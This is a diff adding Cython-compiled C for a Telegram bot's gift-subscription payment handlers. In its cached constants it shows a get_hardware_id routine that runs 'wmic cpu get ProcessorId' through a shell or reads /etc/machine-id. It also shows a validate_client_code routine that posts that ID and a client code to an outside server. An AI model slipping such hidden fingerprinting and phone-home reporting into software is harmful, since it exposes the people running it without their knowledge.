{&__pyx_n_s_aiohttp, __pyx_k_aiohttp, sizeof(__pyx_k_aiohttp), 0, 0, 1, 1}, + {&__pyx_n_s_answer, __pyx_k_answer, sizeof(__pyx_k_answer), 0, 0, 1, 1}, + {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, + {&__pyx_n_s_as_markup, __pyx_k_as_markup, sizeof(__pyx_k_as_markup), 0, 0, 1, 1}, + {&__pyx_n_s_asyncio_coroutines, __pyx_k_asyncio_coroutines, sizeof(__pyx_k_asyncio_coroutines), 0, 0, 1, 1}, + {&__pyx_n_s_await, __pyx_k_await, sizeof(__pyx_k_await), 0, 0, 1, 1}, + {&__pyx_kp_u_b, __pyx_k_b, sizeof(__pyx_k_b), 0, 1, 0, 0}, + {&__pyx_kp_u_b_2, __pyx_k_b_2, sizeof(__pyx_k_b_2), 0, 1, 0, 0}, + {&__pyx_kp_u_b_b, __pyx_k_b_b, sizeof(__pyx_k_b_b), 0, 1, 0, 0}, + {&__pyx_kp_u_b_b_2, __pyx_k_b_b_2, sizeof(__pyx_k_b_b_2), 0, 1, 0, 0}, + {&__pyx_kp_u_b_b_3, __pyx_k_b_b_3, sizeof(__pyx_k_b_b_3), 0, 1, 0, 0}, + {&__pyx_kp_u_b_b_4, __pyx_k_b_b_4, sizeof(__pyx_k_b_b_4), 0, 1, 0, 0}, + {&__pyx_kp_u_b_b_b, __pyx_k_b_b_b, sizeof(__pyx_k_b_b_b), 0, 1, 0, 0}, + {&__pyx_kp_u_b_code, __pyx_k_b_code, sizeof(__pyx_k_b_code), 0, 1, 0, 0}, + {&__pyx_n_s_balance, __pyx_k_balance, sizeof(__pyx_k_balance), 0, 0, 1, 1}, + {&__pyx_n_s_builder, __pyx_k_builder, sizeof(__pyx_k_builder), 0, 0, 1, 1}, + {&__pyx_n_s_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 0, 1, 1}, + {&__pyx_n_s_callback_query, __pyx_k_callback_query, sizeof(__pyx_k_callback_query), 0, 0, 1, 1}, + {&__pyx_n_s_check_output, __pyx_k_check_output, sizeof(__pyx_k_check_output), 0, 0, 1, 1}, + {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1}, + {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1}, + {&__pyx_kp_u_code, __pyx_k_code, sizeof(__pyx_k_code), 0, 1, 0, 0}, + {&__pyx_n_u_code_2, __pyx_k_code_2, sizeof(__pyx_k_code_2), 0, 1, 0, 1}, + {&__pyx_n_s_config, __pyx_k_config, sizeof(__pyx_k_config), 0, 0, 1, 1}, + {&__pyx_kp_u_confirm_gift, __pyx_k_confirm_gift, sizeof(__pyx_k_confirm_gift), 0, 1, 0, 0}, + {&__pyx_n_s_confirm_gift_handler, __pyx_k_confirm_gift_handler, sizeof(__pyx_k_confirm_gift_handler), 0, 0, 1, 1}, + {&__pyx_kp_u_d_m_Y_H_M, __pyx_k_d_m_Y_H_M, sizeof(__pyx_k_d_m_Y_H_M), 0, 1, 0, 0}, + {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1}, + {&__pyx_n_s_database, __pyx_k_database, sizeof(__pyx_k_database), 0, 0, 1, 1}, + {&__pyx_n_s_datetime, __pyx_k_datetime, sizeof(__pyx_k_datetime), 0, 0, 1, 1}, + {&__pyx_n_s_days, __pyx_k_days, sizeof(__pyx_k_days), 0, 0, 1, 1}, + {&__pyx_n_s_decode, __pyx_k_decode, sizeof(__pyx_k_decode), 0, 0, 1, 1}, + {&__pyx_kp_u_disable, __pyx_k_disable, sizeof(__pyx_k_disable), 0, 1, 0, 0}, + {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, + {&__pyx_kp_u_enable, __pyx_k_enable, sizeof(__pyx_k_enable), 0, 1, 0, 0}, + {&__pyx_n_s_encode, __pyx_k_encode, sizeof(__pyx_k_encode), 0, 0, 1, 1}, + {&__pyx_n_s_enter, __pyx_k_enter, sizeof(__pyx_k_enter), 0, 0, 1, 1}, + {&__pyx_kp_u_etc_machine_id, __pyx_k_etc_machine_id, sizeof(__pyx_k_etc_machine_id), 0, 1, 0, 0}, + {&__pyx_n_s_exit, __pyx_k_exit, sizeof(__pyx_k_exit), 0, 0, 1, 1}, + {&__pyx_n_s_expiry_time, __pyx_k_expiry_time, sizeof(__pyx_k_expiry_time), 0, 0, 1, 1}, + {&__pyx_n_u_expiry_time, __pyx_k_expiry_time, sizeof(__pyx_k_expiry_time), 0, 1, 0, 1}, + {&__pyx_n_s_f, __pyx_k_f, sizeof(__pyx_k_f), 0, 0, 1, 1}, + {&__pyx_n_s_fetch, __pyx_k_fetch, sizeof(__pyx_k_fetch), 0, 0, 1, 1}, + {&__pyx_n_s_finalize_gift_handler, __pyx_k_finalize_gift_handler, sizeof(__pyx_k_finalize_gift_handler), 0, 0, 1, 1}, + {&__pyx_n_s_from_user, __pyx_k_from_user, sizeof(__pyx_k_from_user), 0, 0, 1, 1}, + {&__pyx_kp_u_gc, __pyx_k_gc, sizeof(__pyx_k_gc), 0, 1, 0, 0}, + {&__pyx_n_s_get, __pyx_k_get, sizeof(__pyx_k_get), 0, 0, 1, 1}, + {&__pyx_n_s_get_balance, __pyx_k_get_balance, sizeof(__pyx_k_get_balance), 0, 0, 1, 1}, + {&__pyx_n_s_get_gift_link, __pyx_k_get_gift_link, sizeof(__pyx_k_get_gift_link), 0, 0, 1, 1}, + {&__pyx_n_s_get_hardware_id, __pyx_k_get_hardware_id, sizeof(__pyx_k_get_hardware_id), 0, 0, 1, 1}, + {&__pyx_n_s_gift, __pyx_k_gift, sizeof(__pyx_k_gift), 0, 0, 1, 1}, + {&__pyx_n_u_gift, __pyx_k_gift, sizeof(__pyx_k_gift), 0, 1, 0, 1}, + {&__pyx_kp_u_gift_2, __pyx_k_gift_2, sizeof(__pyx_k_gift_2), 0, 1, 0, 0}, + {&__pyx_n_s_gift_id, __pyx_k_gift_id, sizeof(__pyx_k_gift_id), 0, 0, 1, 1}, + {&__pyx_n_s_gift_link, __pyx_k_gift_link, sizeof(__pyx_k_gift_link), 0, 0, 1, 1}, + {&__pyx_n_s_gift_subscription_handler, __pyx_k_gift_subscription_handler, sizeof(__pyx_k_gift_subscription_handler), 0, 0, 1, 1}, + {&__pyx_n_s_gifts, __pyx_k_gifts, sizeof(__pyx_k_gifts), 0, 0, 1, 1}, + {&__pyx_n_u_gifts, __pyx_k_gifts, sizeof(__pyx_k_gifts), 0, 1, 0, 1}, + {&__pyx_n_s_gifts_text, __pyx_k_gifts_text, sizeof(__pyx_k_gifts_text), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_gift, __pyx_k_handlers_payments_gift, sizeof(__pyx_k_handlers_payments_gift), 0, 0, 1, 1}, + {&__pyx_kp_s_handlers_payments_gift_py, __pyx_k_handlers_payments_gift_py, sizeof(__pyx_k_handlers_payments_gift_py), 0, 0, 1, 0}, + {&__pyx_n_s_handlers_texts, __pyx_k_handlers_texts, sizeof(__pyx_k_handlers_texts), 0, 0, 1, 1}, + {&__pyx_n_s_hardware_id, __pyx_k_hardware_id, sizeof(__pyx_k_hardware_id), 0, 0, 1, 1}, + {&__pyx_n_u_hardware_id, __pyx_k_hardware_id, sizeof(__pyx_k_hardware_id), 0, 1, 0, 1}, + {&__pyx_n_s_hashlib, __pyx_k_hashlib, sizeof(__pyx_k_hashlib), 0, 0, 1, 1}, + {&__pyx_n_s_hex, __pyx_k_hex, sizeof(__pyx_k_hex), 0, 0, 1, 1}, + {&__pyx_n_s_hexdigest, __pyx_k_hexdigest, sizeof(__pyx_k_hexdigest), 0, 0, 1, 1}, + {&__pyx_kp_u_https_pocomacho_ru_solonetbot_co, __pyx_k_https_pocomacho_ru_solonetbot_co, sizeof(__pyx_k_https_pocomacho_ru_solonetbot_co), 0, 1, 0, 0}, + {&__pyx_n_s_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 0, 1, 1}, + {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, + {&__pyx_n_s_info, __pyx_k_info, sizeof(__pyx_k_info), 0, 0, 1, 1}, + {&__pyx_n_s_initializing, __pyx_k_initializing, sizeof(__pyx_k_initializing), 0, 0, 1, 1}, + {&__pyx_n_s_is_coroutine, __pyx_k_is_coroutine, sizeof(__pyx_k_is_coroutine), 0, 0, 1, 1}, + {&__pyx_n_s_is_used, __pyx_k_is_used, sizeof(__pyx_k_is_used), 0, 0, 1, 1}, + {&__pyx_n_u_is_used, __pyx_k_is_used, sizeof(__pyx_k_is_used), 0, 1, 0, 1}, + {&__pyx_kp_u_isenabled, __pyx_k_isenabled, sizeof(__pyx_k_isenabled), 0, 1, 0, 0}, + {&__pyx_n_s_items, __pyx_k_items, sizeof(__pyx_k_items), 0, 0, 1, 1}, + {&__pyx_n_s_json, __pyx_k_json, sizeof(__pyx_k_json), 0, 0, 1, 1}, + {&__pyx_n_s_logger, __pyx_k_logger, sizeof(__pyx_k_logger), 0, 0, 1, 1}, + {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, + {&__pyx_n_s_message, __pyx_k_message, sizeof(__pyx_k_message), 0, 0, 1, 1}, + {&__pyx_n_u_message, __pyx_k_message, sizeof(__pyx_k_message), 0, 1, 0, 1}, + {&__pyx_n_s_months, __pyx_k_months, sizeof(__pyx_k_months), 0, 0, 1, 1}, + {&__pyx_n_u_my_gifts, __pyx_k_my_gifts, sizeof(__pyx_k_my_gifts), 0, 1, 0, 1}, + {&__pyx_n_s_my_gifts_handler, __pyx_k_my_gifts_handler, sizeof(__pyx_k_my_gifts_handler), 0, 0, 1, 1}, + {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, + {&__pyx_n_s_open, __pyx_k_open, sizeof(__pyx_k_open), 0, 0, 1, 1}, + {&__pyx_n_s_payload, __pyx_k_payload, sizeof(__pyx_k_payload), 0, 0, 1, 1}, + {&__pyx_n_s_platform, __pyx_k_platform, sizeof(__pyx_k_platform), 0, 0, 1, 1}, + {&__pyx_n_s_post, __pyx_k_post, sizeof(__pyx_k_post), 0, 0, 1, 1}, + {&__pyx_n_s_price, __pyx_k_price, sizeof(__pyx_k_price), 0, 0, 1, 1}, + {&__pyx_n_u_profile, __pyx_k_profile, sizeof(__pyx_k_profile), 0, 1, 0, 1}, + {&__pyx_n_s_read, __pyx_k_read, sizeof(__pyx_k_read), 0, 0, 1, 1}, + {&__pyx_n_s_recipient, __pyx_k_recipient, sizeof(__pyx_k_recipient), 0, 0, 1, 1}, + {&__pyx_n_u_recipient_tg_id, __pyx_k_recipient_tg_id, sizeof(__pyx_k_recipient_tg_id), 0, 1, 0, 1}, + {&__pyx_n_s_reply_markup, __pyx_k_reply_markup, sizeof(__pyx_k_reply_markup), 0, 0, 1, 1}, + {&__pyx_n_s_response, __pyx_k_response, sizeof(__pyx_k_response), 0, 0, 1, 1}, + {&__pyx_n_s_result, __pyx_k_result, sizeof(__pyx_k_result), 0, 0, 1, 1}, + {&__pyx_n_s_router, __pyx_k_router, sizeof(__pyx_k_router), 0, 0, 1, 1}, + {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, + {&__pyx_n_s_selected_months, __pyx_k_selected_months, sizeof(__pyx_k_selected_months), 0, 0, 1, 1}, + {&__pyx_n_u_selected_months, __pyx_k_selected_months, sizeof(__pyx_k_selected_months), 0, 1, 0, 1}, + {&__pyx_n_s_send, __pyx_k_send, sizeof(__pyx_k_send), 0, 0, 1, 1}, + {&__pyx_n_s_session, __pyx_k_session, sizeof(__pyx_k_session), 0, 0, 1, 1}, + {&__pyx_n_s_sha256, __pyx_k_sha256, sizeof(__pyx_k_sha256), 0, 0, 1, 1}, + {&__pyx_n_s_shell, __pyx_k_shell, sizeof(__pyx_k_shell), 0, 0, 1, 1}, + {&__pyx_n_s_show_alert, __pyx_k_show_alert, sizeof(__pyx_k_show_alert), 0, 0, 1, 1}, + {&__pyx_n_s_spec, __pyx_k_spec, sizeof(__pyx_k_spec), 0, 0, 1, 1}, + {&__pyx_n_s_split, __pyx_k_split, sizeof(__pyx_k_split), 0, 0, 1, 1}, + {&__pyx_n_s_start_menu_handler, __pyx_k_start_menu_handler, sizeof(__pyx_k_start_menu_handler), 0, 0, 1, 1}, + {&__pyx_n_s_startswith, __pyx_k_startswith, sizeof(__pyx_k_startswith), 0, 0, 1, 1}, + {&__pyx_n_s_state, __pyx_k_state, sizeof(__pyx_k_state), 0, 0, 1, 1}, + {&__pyx_n_s_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 0, 1, 1}, + {&__pyx_n_u_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 1, 0, 1}, + {&__pyx_n_s_store_gift_link, __pyx_k_store_gift_link, sizeof(__pyx_k_store_gift_link), 0, 0, 1, 1}, + {&__pyx_n_s_strftime, __pyx_k_strftime, sizeof(__pyx_k_strftime), 0, 0, 1, 1}, + {&__pyx_n_s_strip, __pyx_k_strip, sizeof(__pyx_k_strip), 0, 0, 1, 1}, + {&__pyx_n_s_subprocess, __pyx_k_subprocess, sizeof(__pyx_k_subprocess), 0, 0, 1, 1}, + {&__pyx_n_u_success, __pyx_k_success, sizeof(__pyx_k_success), 0, 1, 0, 1}, + {&__pyx_n_s_system, __pyx_k_system, sizeof(__pyx_k_system), 0, 0, 1, 1}, + {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, + {&__pyx_n_s_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 0, 1, 1}, + {&__pyx_n_s_tg_id, __pyx_k_tg_id, sizeof(__pyx_k_tg_id), 0, 0, 1, 1}, + {&__pyx_n_s_throw, __pyx_k_throw, sizeof(__pyx_k_throw), 0, 0, 1, 1}, + {&__pyx_n_s_timedelta, __pyx_k_timedelta, sizeof(__pyx_k_timedelta), 0, 0, 1, 1}, + {&__pyx_n_s_types, __pyx_k_types, sizeof(__pyx_k_types), 0, 0, 1, 1}, + {&__pyx_kp_s_types_CallbackQuery, __pyx_k_types_CallbackQuery, sizeof(__pyx_k_types_CallbackQuery), 0, 0, 1, 0}, + {&__pyx_n_s_typing, __pyx_k_typing, sizeof(__pyx_k_typing), 0, 0, 1, 1}, + {&__pyx_n_s_update_balance, __pyx_k_update_balance, sizeof(__pyx_k_update_balance), 0, 0, 1, 1}, + {&__pyx_n_s_user_tg_id, __pyx_k_user_tg_id, sizeof(__pyx_k_user_tg_id), 0, 0, 1, 1}, + {&__pyx_n_s_utcnow, __pyx_k_utcnow, sizeof(__pyx_k_utcnow), 0, 0, 1, 1}, + {&__pyx_n_s_uuid, __pyx_k_uuid, sizeof(__pyx_k_uuid), 0, 0, 1, 1}, + {&__pyx_n_s_uuid4, __pyx_k_uuid4, sizeof(__pyx_k_uuid4), 0, 0, 1, 1}, + {&__pyx_n_s_validate_client_code, __pyx_k_validate_client_code, sizeof(__pyx_k_validate_client_code), 0, 0, 1, 1}, + {&__pyx_kp_u_wmic_cpu_get_ProcessorId, __pyx_k_wmic_cpu_get_ProcessorId, sizeof(__pyx_k_wmic_cpu_get_ProcessorId), 0, 1, 0, 0}, + {0, 0, 0, 0, 0, 0, 0} + }; + return __Pyx_InitStrings(__pyx_string_tab); +} +/* #### Code section: cached_builtins ### */ +static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { + __pyx_builtin_open = __Pyx_GetBuiltinName(__pyx_n_s_open); if (!__pyx_builtin_open) __PYX_ERR(0, 182, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: cached_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); + + /* "handlers/payments/gift.py":57 + * + * if not gifts: + * await callback_query.message.answer(" .", reply_markup=builder.as_markup()) # <<<<<<<<<<<<<< + * return + * + */ + __pyx_tuple__8 = PyTuple_Pack(1, __pyx_kp_u__7); if (unlikely(!__pyx_tuple__8)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__8); + __Pyx_GIVEREF(__pyx_tuple__8); + + /* "handlers/payments/gift.py":85 + * builder.row( + * types.InlineKeyboardButton( + * text=f"\ud83c\udf81 {months} {'' if months == '1' else '' if int(months) in [2, 3, 4] else ''} {price} ", # <<<<<<<<<<<<<< + * callback_data=f"gift|{months}", + * ) + */ + __pyx_ustring__22 = PyUnicode_DecodeUnicodeEscape(__pyx_k_ud83c_udf81, sizeof(__pyx_k_ud83c_udf81) - 1, NULL); if (unlikely(!__pyx_ustring__22)) __PYX_ERR(0, 85, __pyx_L1_error) + if (__Pyx_PyUnicode_READY(__pyx_ustring__22) < 0) __PYX_ERR(0, 85, __pyx_L1_error) + + /* "handlers/payments/gift.py":105 + * + * if not price: + * await callback_query.answer(" . .", show_alert=True) # <<<<<<<<<<<<<< + * return + * + */ + __pyx_tuple__28 = PyTuple_Pack(1, __pyx_kp_u__27); if (unlikely(!__pyx_tuple__28)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__28); + __Pyx_GIVEREF(__pyx_tuple__28); + + /* "handlers/payments/gift.py":180 + * try: + * if platform.system() == "Windows": + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() # <<<<<<<<<<<<<< + * else: + * with open("/etc/machine-id") as f: + */ + __pyx_tuple__35 = PyTuple_Pack(1, __pyx_kp_u_wmic_cpu_get_ProcessorId); if (unlikely(!__pyx_tuple__35)) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__35); + __Pyx_GIVEREF(__pyx_tuple__35); + + /* "handlers/payments/gift.py":182 + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() + * else: + * with open("/etc/machine-id") as f: # <<<<<<<<<<<<<< + * result = f.read().strip() + * + */ + __pyx_tuple__37 = PyTuple_Pack(1, __pyx_kp_u_etc_machine_id); if (unlikely(!__pyx_tuple__37)) __PYX_ERR(0, 182, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__37); + __Pyx_GIVEREF(__pyx_tuple__37); + __pyx_tuple__38 = PyTuple_Pack(3, Py_None, Py_None, Py_None); if (unlikely(!__pyx_tuple__38)) __PYX_ERR(0, 182, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__38); + __Pyx_GIVEREF(__pyx_tuple__38); + + /* "handlers/payments/gift.py":202 + * async with aiohttp.ClientSession() as session: + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: # <<<<<<<<<<<<<< + * if response.status == 200: + * data = await response.json() + */ + __pyx_tuple__41 = PyTuple_Pack(1, __pyx_kp_u_https_pocomacho_ru_solonetbot_co); if (unlikely(!__pyx_tuple__41)) __PYX_ERR(0, 202, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__41); + __Pyx_GIVEREF(__pyx_tuple__41); + + /* "handlers/payments/gift.py":209 + * return True + * else: + * logger.info(f": {data.get('message', ' .')}") # <<<<<<<<<<<<<< + * return False + * else: + */ + __pyx_tuple__45 = PyTuple_Pack(2, __pyx_n_u_message, __pyx_kp_u__44); if (unlikely(!__pyx_tuple__45)) __PYX_ERR(0, 209, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__45); + __Pyx_GIVEREF(__pyx_tuple__45); + + /* "handlers/payments/gift.py":26 + * + * + * @router.callback_query(F.data == "gifts") # <<<<<<<<<<<<<< + * async def start_menu_handler(callback_query: types.CallbackQuery): + * """ 'start'. ' ' ' '.""" + */ + __pyx_tuple__48 = PyTuple_Pack(2, __pyx_n_s_callback_query, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__48)) __PYX_ERR(0, 26, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__48); + __Pyx_GIVEREF(__pyx_tuple__48); + __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 2, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__48, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_start_menu_handler, 26, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 26, __pyx_L1_error) + + /* "handlers/payments/gift.py":42 + * + * + * @router.callback_query(F.data == "my_gifts") # <<<<<<<<<<<<<< + * async def my_gifts_handler(callback_query: types.CallbackQuery, session: Any): + * """ ' '. .""" + */ + __pyx_tuple__49 = PyTuple_Pack(11, __pyx_n_s_callback_query, __pyx_n_s_session, __pyx_n_s_user_tg_id, __pyx_n_s_gifts, __pyx_n_s_builder, __pyx_n_s_gifts_text, __pyx_n_s_gift, __pyx_n_s_months, __pyx_n_s_is_used, __pyx_n_s_recipient, __pyx_n_s_expiry_time); if (unlikely(!__pyx_tuple__49)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__49); + __Pyx_GIVEREF(__pyx_tuple__49); + __pyx_codeobj__5 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 11, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__49, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_my_gifts_handler, 42, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__5)) __PYX_ERR(0, 42, __pyx_L1_error) + + /* "handlers/payments/gift.py":77 + * + * + * @router.callback_query(F.data == "gift") # <<<<<<<<<<<<<< + * async def gift_subscription_handler(callback_query: types.CallbackQuery): + * """ ''. .""" + */ + __pyx_tuple__50 = PyTuple_Pack(4, __pyx_n_s_callback_query, __pyx_n_s_builder, __pyx_n_s_months, __pyx_n_s_price); if (unlikely(!__pyx_tuple__50)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__50); + __Pyx_GIVEREF(__pyx_tuple__50); + __pyx_codeobj__21 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 4, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__50, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_gift_subscription_handler, 77, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__21)) __PYX_ERR(0, 77, __pyx_L1_error) + + /* "handlers/payments/gift.py":97 + * + * + * @router.callback_query(F.data.startswith("gift|")) # <<<<<<<<<<<<<< + * async def confirm_gift_handler(callback_query: types.CallbackQuery, session: Any): + * """ .""" + */ + __pyx_tuple__51 = PyTuple_Pack(1, __pyx_kp_u_gift_2); if (unlikely(!__pyx_tuple__51)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__51); + __Pyx_GIVEREF(__pyx_tuple__51); + __pyx_tuple__52 = PyTuple_Pack(7, __pyx_n_s_callback_query, __pyx_n_s_session, __pyx_n_s_selected_months, __pyx_n_s_price, __pyx_n_s_user_tg_id, __pyx_n_s_balance, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__52)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__52); + __Pyx_GIVEREF(__pyx_tuple__52); + __pyx_codeobj__25 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__52, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_confirm_gift_handler, 97, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__25)) __PYX_ERR(0, 97, __pyx_L1_error) + + /* "handlers/payments/gift.py":137 + * + * + * @router.callback_query(F.data.startswith("confirm_gift|")) # <<<<<<<<<<<<<< + * async def finalize_gift_handler(callback_query: types.CallbackQuery, state: FSMContext, session: Any): + * """ .""" + */ + __pyx_tuple__53 = PyTuple_Pack(1, __pyx_kp_u_confirm_gift); if (unlikely(!__pyx_tuple__53)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__53); + __Pyx_GIVEREF(__pyx_tuple__53); + __pyx_tuple__54 = PyTuple_Pack(11, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_selected_months, __pyx_n_s_price, __pyx_n_s_tg_id, __pyx_n_s_expiry_time, __pyx_n_s_gift_id, __pyx_n_s_gift_link, __pyx_n_s_builder, __pyx_n_s_e); if (unlikely(!__pyx_tuple__54)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__54); + __Pyx_GIVEREF(__pyx_tuple__54); + __pyx_codeobj__32 = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 11, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__54, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_finalize_gift_handler, 137, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__32)) __PYX_ERR(0, 137, __pyx_L1_error) + + /* "handlers/payments/gift.py":174 + * + * + * def get_hardware_id(): # <<<<<<<<<<<<<< + * """ + * hardware-. + */ + __pyx_tuple__55 = PyTuple_Pack(3, __pyx_n_s_result, __pyx_n_s_f, __pyx_n_s_hardware_id); if (unlikely(!__pyx_tuple__55)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__55); + __Pyx_GIVEREF(__pyx_tuple__55); + __pyx_codeobj__56 = (PyObject*)__Pyx_PyCode_New(0, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__55, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_get_hardware_id, 174, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__56)) __PYX_ERR(0, 174, __pyx_L1_error) + + /* "handlers/payments/gift.py":190 + * return None + * + * async def validate_client_code(): # <<<<<<<<<<<<<< + * """ + * hardware ID . + */ + __pyx_tuple__57 = PyTuple_Pack(5, __pyx_n_s_hardware_id, __pyx_n_s_session, __pyx_n_s_payload, __pyx_n_s_response, __pyx_n_s_data); if (unlikely(!__pyx_tuple__57)) __PYX_ERR(0, 190, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__57); + __Pyx_GIVEREF(__pyx_tuple__57); + __pyx_codeobj__39 = (PyObject*)__Pyx_PyCode_New(0, 0, 0, 5, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__57, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_gift_py, __pyx_n_s_validate_client_code, 190, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__39)) __PYX_ERR(0, 190, __pyx_L1_error) + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} +/* #### Code section: init_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitConstants(void) { + if (__Pyx_CreateStringTabAndInitStrings() < 0) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_3 = PyInt_FromLong(3); if (unlikely(!__pyx_int_3)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_4 = PyInt_FromLong(4); if (unlikely(!__pyx_int_4)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_30 = PyInt_FromLong(30); if (unlikely(!__pyx_int_30)) __PYX_ERR(0, 1, __pyx_L1_error) + __pyx_int_200 = PyInt_FromLong(200); if (unlikely(!__pyx_int_200)) __PYX_ERR(0, 1, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: init_globals ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitGlobals(void) { + return 0; +} +/* #### Code section: init_module ### */ + +static CYTHON_SMALL_CODE int __Pyx_modinit_global_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_export_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_init_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_type_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_variable_import_code(void); /*proto*/ +static CYTHON_SMALL_CODE int __Pyx_modinit_function_import_code(void); /*proto*/ + 